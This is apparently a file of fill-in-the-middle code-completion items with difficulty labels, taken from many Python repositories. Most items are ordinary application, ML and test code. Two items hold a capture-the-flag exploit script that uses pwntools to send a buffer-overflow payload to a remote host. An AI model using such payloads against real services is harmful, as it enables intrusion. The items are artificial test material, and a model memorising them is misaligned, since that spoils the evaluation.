{ "lang": "python", "repo": "abkosar/ogr", "path": "/ogr/services/gitlab/release.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: 18F/tock path: /tock/projects/views.py from api.views import get_timecardobjects from django.contrib.auth.mixins import LoginRequiredMixin from django.db.models import Sum, Q from django.views.generic import ListView from django.views.generic.detail import DetailView from hours.models import Time...
code_fim
hard
{ "lang": "python", "repo": "18F/tock", "path": "/tock/projects/views.py", "mode": "psm", "license": "CC0-1.0", "source": "the-stack-v2" }
<|fim_suffix|> class ProjectEngagementView(LoginRequiredMixin, ListView): """ View for listing the details of a specific project """ model = Project template_name = 'projects/project_engagement.html' def get_queryset(self): """The projects here are active with engagement management lines.""" ...
code_fim
hard
{ "lang": "python", "repo": "18F/tock", "path": "/tock/projects/views.py", "mode": "spm", "license": "CC0-1.0", "source": "the-stack-v2" }
<|fim_suffix|> def announceGenerate(self): DistributedSmoothNode.announceGenerate(self) self.name = self.uniqueName('projectile') self.posHprBroadcastName = self.uniqueName('projectileBroadcast') geom = loader.loadModel('models/smiley') self.geom = geom self.geom.repar...
code_fim
hard
{ "lang": "python", "repo": "open-toontown/open-toontown", "path": "/toontown/racing/DistributedProjectile.py", "mode": "spm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_suffix|> DistributedSmoothNode.generate(self) self.name = self.uniqueName('projectile') self.posHprBroadcastName = self.uniqueName('projectileBroadcast') geom = loader.loadModel('models/smiley') self.geom = geom self.geom.reparentTo(self) self.startSmooth() ...
code_fim
hard
{ "lang": "python", "repo": "open-toontown/open-toontown", "path": "/toontown/racing/DistributedProjectile.py", "mode": "spm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_prefix|># repo: open-toontown/open-toontown path: /toontown/racing/DistributedProjectile.py from panda3d.core import * from direct.distributed.ClockDelta import * from direct.interval.IntervalGlobal import * from direct.gui.DirectGui import * from panda3d.core import * from direct.fsm import FSM from direct.dist...
code_fim
medium
{ "lang": "python", "repo": "open-toontown/open-toontown", "path": "/toontown/racing/DistributedProjectile.py", "mode": "psm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_suffix|>and 0 < n: n = int(input('Valor inválido. Digite um numero entre 0 e 20:')) print(numero[n])<|fim_prefix|># repo: mandamg/Exercicios-de-Python-do-Curso-em-Video path: /mundo 3/aula 16/desafio1.py n = int(input('Digite o valor entre 0 a 20:')) numero = ('zero', 'um', 'dois', 'três','quatro',<|fim_midd...
code_fim
medium
{ "lang": "python", "repo": "mandamg/Exercicios-de-Python-do-Curso-em-Video", "path": "/mundo 3/aula 16/desafio1.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: mandamg/Exercicios-de-Python-do-Curso-em-Video path: /mundo 3/aula 16/desafio1.py n = int(input('Digite o valor entre 0 a 20:')) numero = ('zero', 'um', 'dois', 'três','quatro',<|fim_suffix|>and 0 < n: n = int(input('Valor inválido. Digite um numero entre 0 e 20:')) print(numero[n])<|fim_midd...
code_fim
medium
{ "lang": "python", "repo": "mandamg/Exercicios-de-Python-do-Curso-em-Video", "path": "/mundo 3/aula 16/desafio1.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>port softmax_policy policy_register = { 'epsilon_greedy': epsilon_greedy_policy, 'softmax': softmax_policy }<|fim_prefix|># repo: demirelg/energy_py path: /energy_py/common/policies/__init__.py from energy_py.common.policies.epsilon_greedy import epsil<|fim_middle|>on_greedy_policy from energy_p...
code_fim
easy
{ "lang": "python", "repo": "demirelg/energy_py", "path": "/energy_py/common/policies/__init__.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>dy': epsilon_greedy_policy, 'softmax': softmax_policy }<|fim_prefix|># repo: demirelg/energy_py path: /energy_py/common/policies/__init__.py from energy_py.common.policies.epsilon_greedy import epsilon_greedy_policy from energy_py.common.policies.softmax im<|fim_middle|>port softmax_policy policy_re...
code_fim
easy
{ "lang": "python", "repo": "demirelg/energy_py", "path": "/energy_py/common/policies/__init__.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: demirelg/energy_py path: /energy_py/common/policies/__init__.py from energy_py.common.policies.epsilon_greedy import epsilon_greedy_policy from energy_py.common.policies.softmax im<|fim_suffix|>dy': epsilon_greedy_policy, 'softmax': softmax_policy }<|fim_middle|>port softmax_policy policy_re...
code_fim
easy
{ "lang": "python", "repo": "demirelg/energy_py", "path": "/energy_py/common/policies/__init__.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>def test_result(profiler): __, cpu_time, wall_time = profiler.result() assert cpu_time == wall_time == 0.0 with profiler: spin(0.1) __, cpu_time, wall_time = profiler.result() assert cpu_time > 0.0 assert wall_time >= 0.1 def test_wrapper(profiler): wrapper = NullProf...
code_fim
hard
{ "lang": "python", "repo": "sublee/profiling", "path": "/test/test_profiler.py", "mode": "spm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_suffix|> def run(self): with self.profiler: yield @pytest.fixture def profiler(): return NullProfiler() def test_exclude_code(profiler): foo_code = foo().f_code with profiler: assert foo_code not in profiler.stats profiler.stats.ensure_child(foo_code) ...
code_fim
medium
{ "lang": "python", "repo": "sublee/profiling", "path": "/test/test_profiler.py", "mode": "spm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_prefix|># repo: sublee/profiling path: /test/test_profiler.py # -*- coding: utf-8 -*- import pytest from profiling.profiler import Profiler, ProfilerWrapper from utils import foo, spin class NullProfiler(Profiler): def run(self): yield class NullProfilerWrapper(ProfilerWrapper): <|fim_suffix|>...
code_fim
hard
{ "lang": "python", "repo": "sublee/profiling", "path": "/test/test_profiler.py", "mode": "psm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_suffix|> # Detectron C2 models are stored following the structure # prefix/<model_id>/2012_2017_baselines/<model_name>.yaml.<signature>/suffix # we use as identifiers in the catalog Caffe2Detectron/COCO/<model_id>/<model_name> prefix = ModelCatalog.S3_C2_DETECTRON_URL suffix...
code_fim
hard
{ "lang": "python", "repo": "NVIDIA/DeepLearningExamples", "path": "/PyTorch/Segmentation/MaskRCNN/pytorch/maskrcnn_benchmark/config/paths_catalog.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: NVIDIA/DeepLearningExamples path: /PyTorch/Segmentation/MaskRCNN/pytorch/maskrcnn_benchmark/config/paths_catalog.py # Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. """Centralized catalog of paths.""" import os class DatasetCatalog(object): DATA_DIR = "/datasets" ...
code_fim
hard
{ "lang": "python", "repo": "NVIDIA/DeepLearningExamples", "path": "/PyTorch/Segmentation/MaskRCNN/pytorch/maskrcnn_benchmark/config/paths_catalog.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: JingweiDai/BitcoinPriceLSTM path: /py code/arima.py # -*- coding: utf-8 -*- """ Created on Wed May 12 14:39:33 2021 @author: Jingwei Dai """ import pandas as pd import numpy as np import datetime import pytz #function of time region import statsmodels.api as sm # Unit root test import matplotl...
code_fim
hard
{ "lang": "python", "repo": "JingweiDai/BitcoinPriceLSTM", "path": "/py code/arima.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>splitdate = '2019-12-17' bitcoin_train1 = bitcoin.loc[bitcoin.Date <= splitdate] print(bitcoin_train1) bitcoin_test1 = bitcoin.loc[bitcoin.Date > splitdate] print(bitcoin_test1) bitcoin_train2 = bitcoin_train1.drop(['Date'],axis=1) bitcoin_test2 = bitcoin_test1.drop(['Date'],axis=1) model1 = ARIMA(bitco...
code_fim
hard
{ "lang": "python", "repo": "JingweiDai/BitcoinPriceLSTM", "path": "/py code/arima.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: cartoon-raccoon/hackyeaster2021 path: /level5/Lotl/lotl.py from pwn import * # conn = process("./lotl") conn = remote("46.101.107.117", 2102) conn.recvuntil(b'> ') <|fim_suffix|>conn.send(string) conn.interactive()<|fim_middle|>string = b"A"*40 + b"\x6e\x08\x40\x00\x00\x00\x00\x00"
code_fim
easy
{ "lang": "python", "repo": "cartoon-raccoon/hackyeaster2021", "path": "/level5/Lotl/lotl.py", "mode": "psm", "license": "Unlicense", "source": "the-stack-v2" }
<|fim_suffix|>conn.send(string) conn.interactive()<|fim_prefix|># repo: cartoon-raccoon/hackyeaster2021 path: /level5/Lotl/lotl.py from pwn import * # conn = process("./lotl") conn = remote("46.101.107.117", 2102) conn.recvuntil(b'> ') <|fim_middle|>string = b"A"*40 + b"\x6e\x08\x40\x00\x00\x00\x00\x00"
code_fim
easy
{ "lang": "python", "repo": "cartoon-raccoon/hackyeaster2021", "path": "/level5/Lotl/lotl.py", "mode": "spm", "license": "Unlicense", "source": "the-stack-v2" }
<|fim_prefix|># repo: benjaminwongweien/TT1_21 path: /backend/ttuser/apps.py from django.apps import AppConfig <|fim_suffix|> name = 'ttuser' verbose_name = "TT User Information"<|fim_middle|>class TtuserConfig(AppConfig): default_auto_field = 'django.db.models.BigAutoField'
code_fim
medium
{ "lang": "python", "repo": "benjaminwongweien/TT1_21", "path": "/backend/ttuser/apps.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> name = 'ttuser' verbose_name = "TT User Information"<|fim_prefix|># repo: benjaminwongweien/TT1_21 path: /backend/ttuser/apps.py from django.apps import AppConfig class TtuserConfig(AppConfig): <|fim_middle|> default_auto_field = 'django.db.models.BigAutoField'
code_fim
medium
{ "lang": "python", "repo": "benjaminwongweien/TT1_21", "path": "/backend/ttuser/apps.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> if cls.count_in_possible(confidence_interval, distribution): return CountIn.count_ins(confidence_interval, distribution, 2) else: return None @classmethod def count_in_possible(cls, confidence_interval, distribution): if distribution is None: ...
code_fim
medium
{ "lang": "python", "repo": "seandoll/HLIAPOS", "path": "/bounding.py", "mode": "spm", "license": "CC0-1.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: seandoll/HLIAPOS path: /bounding.py class Extremity: def __init__(self): pass @classmethod def count_in_values(cls, distribution, confidence_interval): if cls.count_in_possible(confidence_interval, distribution): return CountIn.count_ins(confidence_interva...
code_fim
hard
{ "lang": "python", "repo": "seandoll/HLIAPOS", "path": "/bounding.py", "mode": "psm", "license": "CC0-1.0", "source": "the-stack-v2" }
<|fim_suffix|> counted_in_confidence_interval = 0.0 i = 0 while counted_in_confidence_interval + count_in_multiplication_factor * distribution[i] <= 1 \ - confidence_interval: counted_in_confidence_interval += count_in_multiplication_factor * distribution[i] ...
code_fim
hard
{ "lang": "python", "repo": "seandoll/HLIAPOS", "path": "/bounding.py", "mode": "spm", "license": "CC0-1.0", "source": "the-stack-v2" }
<|fim_suffix|># then get epitopes and epitope fragments virus_epitopes = IEDBEpitopes.get_virus_epitopes() print(virus_epitopes[0]) virus_epi_fragments = IEDBEpitopes.get_virus_epi_fragments() print(virus_epi_fragments[0])<|fim_prefix|># repo: damianosmel/VirusGenoUtil path: /code/integrate_iedb_epitopes.py import os,...
code_fim
hard
{ "lang": "python", "repo": "damianosmel/VirusGenoUtil", "path": "/code/integrate_iedb_epitopes.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: damianosmel/VirusGenoUtil path: /code/integrate_iedb_epitopes.py import os, sys sys.path.insert(0, os.path.abspath("..")) from code.utils import create_dir from code.epitopes.IEDBEpitopes import IEDBEpitopes from pathlib import Path from os.path import join ### ...
code_fim
hard
{ "lang": "python", "repo": "damianosmel/VirusGenoUtil", "path": "/code/integrate_iedb_epitopes.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|># extract IEDB epitopes from virus: virus_taxid = 2697049 IEDBEpitopes.process_virus(virus_taxid) # then get epitopes and epitope fragments virus_epitopes = IEDBEpitopes.get_virus_epitopes() print(virus_epitopes[0]) virus_epi_fragments = IEDBEpitopes.get_virus_epi_fragments() print(virus_epi_fragments[0]...
code_fim
hard
{ "lang": "python", "repo": "damianosmel/VirusGenoUtil", "path": "/code/integrate_iedb_epitopes.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|># set serve_forever=False if you want to keep the server running s = agent.handle_channels([input_channel], 5500, serve_forever=True)<|fim_prefix|># repo: OKaemii/RASA-AI-Chatbot path: /rasa/bot.py from rasa_core.agent import Agent from rasa_core.channels.socketio import SocketIOInput from rasa_core.agen...
code_fim
hard
{ "lang": "python", "repo": "OKaemii/RASA-AI-Chatbot", "path": "/rasa/bot.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: OKaemii/RASA-AI-Chatbot path: /rasa/bot.py from rasa_core.agent import Agent from rasa_core.channels.socketio import SocketIOInput from rasa_core.agent import Agent # load your trained agent agent = Agent.load('models/dialogue', interpreter='models/current/nlu') <|fim_suffix|># set serve_foreve...
code_fim
hard
{ "lang": "python", "repo": "OKaemii/RASA-AI-Chatbot", "path": "/rasa/bot.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> return self.next() def next(self): torch.cuda.current_stream().wait_stream(self.stream) if self.stop_iteration: raise StopIteration container = self.container self._preload() return container def __iter__(self): self.loader = it...
code_fim
hard
{ "lang": "python", "repo": "hukkelas/DeepPrivacy", "path": "/deep_privacy/dataset/utils.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> return len(self.original_loader) def __next__(self): return self.next() def next(self): torch.cuda.current_stream().wait_stream(self.stream) if self.stop_iteration: raise StopIteration container = self.container self._preload() ...
code_fim
hard
{ "lang": "python", "repo": "hukkelas/DeepPrivacy", "path": "/deep_privacy/dataset/utils.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: hukkelas/DeepPrivacy path: /deep_privacy/dataset/utils.py import numpy as np import torch from PIL import Image, ImageOps from deep_privacy.modeling.models.utils import get_transition_value def read_image(filepath, format=None): """ Read an image into the given format. Will apply ro...
code_fim
hard
{ "lang": "python", "repo": "hukkelas/DeepPrivacy", "path": "/deep_privacy/dataset/utils.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }